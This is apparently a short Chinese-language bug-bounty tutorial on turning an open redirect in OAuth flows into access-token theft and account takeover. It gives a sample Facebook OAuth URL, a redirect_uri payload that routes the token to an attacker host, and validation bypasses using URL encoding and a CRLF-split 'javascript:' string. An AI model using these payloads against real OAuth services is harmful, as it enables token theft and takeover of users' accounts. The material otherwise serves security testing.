From Open Redirect to Account Takeover

Open Redirect

利用Open Redirect, 在 oAuth 的情景下, 获取 accessToken.

Example:

https://www.facebook.com/dialog/oauth?client_id=388795771235143&response_type=token&redirect_uri=https://www.cbssports.com/&scope=email 

NIN: &response_type=code or response_type=token 或许会获得不同的结果. 建议都尝试.

Exploit

通常情况下, oAuth 的 implementation 都会validate redirect_url.

假设 www.example.com中有 open redirect.

简单测试:

  1. &redirect_uri=https://www.example.com
  2. &redirect_uri=https://www.example.com/nino/

假如 Application 接受#1, 但不接受#2, 证明它应该正确地 validate 了 redirect_url. 不过, 如果#2成功了, 那么测试的 scope 就变为 https://www.example.com/*. 假如 https://www.example.com/ 中含有任何的 open redirect 漏洞, 黑客就有可能利用它获取到 accessToken, 如: &redirect_uri=https://www.google.com/?goto=https://www.attacker.com/ .

NIN: Flickr account takeover就是一个经典的例子.

Tips

有时候, 由于 validation 的存在, 你可能需要些技巧去 bypass.

1). URL Encode


&redirect_uri=https%3A%2F%2Fwww.example.com%2F%3Fgoto%3Dhttps%3A%2F%2Fwww.attacker.com%2F

2). CRLF

java%0d%0ascript%0d%0a:alert(0)  

3). More

Visit https://zseano.com/tutorials/1.html.

Ref

zseano - Tutorial One